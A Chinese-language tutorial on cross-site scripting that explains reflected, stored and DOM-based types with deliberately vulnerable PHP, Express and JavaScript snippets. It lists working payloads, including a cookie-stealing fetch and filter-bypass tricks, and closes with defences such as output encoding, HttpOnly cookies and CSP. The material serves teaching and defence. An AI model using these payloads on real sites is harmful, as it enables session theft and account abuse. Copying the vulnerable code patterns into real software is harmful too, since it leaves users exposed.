跨站脚本攻击(XSS)的核心原理、分类与防御策略
跨站脚本攻击(XSS)概述
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是Web安全领域最常见的漏洞之一。其本质是"信任错位":浏览器无法区分合法的页面脚本与攻击者注入的恶意脚本,从而在受害者的上下文中执行了恶意代码。
成功利用该漏洞可能导致以下安全事件:
- 会话劫持:窃取用户的身份凭证(如 Cookie、Token)。
- UI 篡改与钓鱼:伪造登录表单或修改页面内容以骗取敏感信息。
- 恶意行为代理:以受害者的身份发起请求(如转账、关注、发帖)。
- 客户端环境探测:收集浏览器指纹、内网IP或安装恶意插件。
XSS 的核心机制与分类
根据恶意脚本的存储位置和触发方式,XSS 通常被划分为三种主要类型。
1. 反射型 XSS (Reflected XSS)
机制:恶意载荷作为请求的一部分(通常是 URL 参数)发送给服务器,服务器将其未经过滤直接"反射"回 HTTP 响应中。此类攻击是非持久化的,通常需要结合社会工程学诱导用户点击特制链接。
典型场景:搜索结果回显、错误提示页面、URL 参数渲染。
<?php
// 场景:多语言切换时的错误提示回显
$lang = $_GET['lang'] ?? 'en';
$supported = ['en', 'zh', 'fr'];
if (!in_array($lang, $supported)) {
// 危险:直接将用户输入拼接到 HTML 中
echo "<div class='error'>Unsupported language: " . $lang . "</div>";
}
?>
攻击载荷:?lang=en</div><script>fetch('/steal?c='+document.cookie)</script>
2. 存储型 XSS (Stored XSS)
机制:攻击者将恶意脚本提交并持久化存储在目标服务器的数据库、缓存或文件系统中。当其他用户访问包含该数据的页面时,脚本会被自动加载并执行。这是危害最大的一种类型。
典型场景:论坛帖子、用户个人简介、商品评价、内部工单系统。
// 场景:Node.js/Express 渲染用户评论
app.get('/post/:id', async (req, res) => {
const post = await db.getPost(req.params.id);
const comments = await db.getComments(req.params.id);
// 危险:使用模板引擎时未对评论内容进行转义
res.render('post', {
title: post.title,
content: post.content,
comments: comments // 在模板中通过 <%- comment.body %> 渲染
});
});
3. DOM 型 XSS (DOM-based XSS)
机制:漏洞完全存在于客户端 JavaScript 代码中。恶意输入不经过服务器端处理,而是由前端脚本直接从 DOM 环境(如 URL、document.referrer、window.name)读取,并写入到危险的 DOM 节点(如 innerHTML、document.write)中。
// 场景:前端根据 URL Hash 动态渲染欢迎信息
function renderWelcome() {
const hash = window.location.hash.substring(1);
const params = new URLSearchParams(hash);
const username = params.get('user');
if (username) {
// 危险:直接将不可信数据赋值给 innerHTML
document.getElementById('greeting').innerHTML = `Welcome back, ${username}!`;
}
}
window.addEventListener('hashchange', renderWelcome);
攻击载荷:#user=<img src=x onerror="alert(document.domain)">
漏洞探测与 Payload 构造
挖掘 XSS 漏洞的核心在于寻找"输入点"与"输出点"的映射关系,并测试输出点的上下文环境。
常见触发标签与事件
当 <script> 标签被过滤时,可以利用 HTML5 的新标签和事件处理器来构造 Payload。
| 触发媒介 | Payload 示例 | 适用上下文 |
|---|---|---|
<img> | <img src=x onerror=alert(1)> | HTML 实体内部 |
<svg> | <svg><animate onbegin=alert(1) attributeName=x dur=1s> | 支持 SVG 的现代浏览器 |
<details> | <details open ontoggle=alert(1)> | 需要自动触发时 |
<input> | <input onfocus=alert(1) autofocus> | 表单元素上下文 |
<a> | <a href="javascript:alert(1)">Click</a> | 属性注入(href/src) |
实战场景:简单过滤逻辑绕过
在实际环境中,开发者可能会使用简单的黑名单或字符串替换来防御 XSS,但这往往容易被绕过。
存在缺陷的后端过滤
<?php
// 缺陷代码:仅移除了小写的 <script> 标签
$userInput = $_GET['query'];
$sanitized = str_replace('<script>', '', $userInput);
echo "<div>Search results for: " . $sanitized . "</div>";
?>
绕过策略
针对上述逻辑,攻击者可以采用多种方式进行绕过:
- 大小写混淆:
<ScRiPt>alert(1)</ScRiPt>(如果过滤函数区分大小写)。 - 双写绕过:
<scr<script>ipt>alert(1)</scr</script>ipt>(替换后重新组合成完整标签)。 - 更换标签:完全放弃
script标签,使用<iframe srcdoc="<script>alert(1)</script>">或<object data="javascript:alert(1)">。
纵深防御体系
彻底消除 XSS 需要建立多层防御机制,不能依赖单一的过滤手段。
1. 上下文感知的输出编码
数据在输出到 HTML 页面时,必须根据其所在的上下文(HTML Body、HTML Attribute、JavaScript、CSS)进行相应的编码。
// Go 语言 html/template 包会自动根据上下文进行安全编码
import "html/template"
tmpl := template.Must(template.New("page").Parse(`
<div>{{.UserName}}</div>
<a href="/profile?id={{.UserID}}">Profile</a>
<script>var token = "{{.CSRFToken}}";</script>
`))
2. 敏感 Cookie 保护
为身份验证相关的 Cookie 设置 HttpOnly 标志,禁止 JavaScript 通过 document.cookie 读取,从而缓解会话劫持风险。
Set-Cookie: SESSIONID=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
3. 内容安全策略 (CSP)
CSP 是一种强大的纵深防御机制,通过 HTTP 响应头限制浏览器只能加载和执行受信任来源的资源。
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-R4nd0mStr1ng' https://trusted.cdn.com;
object-src 'none';
base-uri 'self';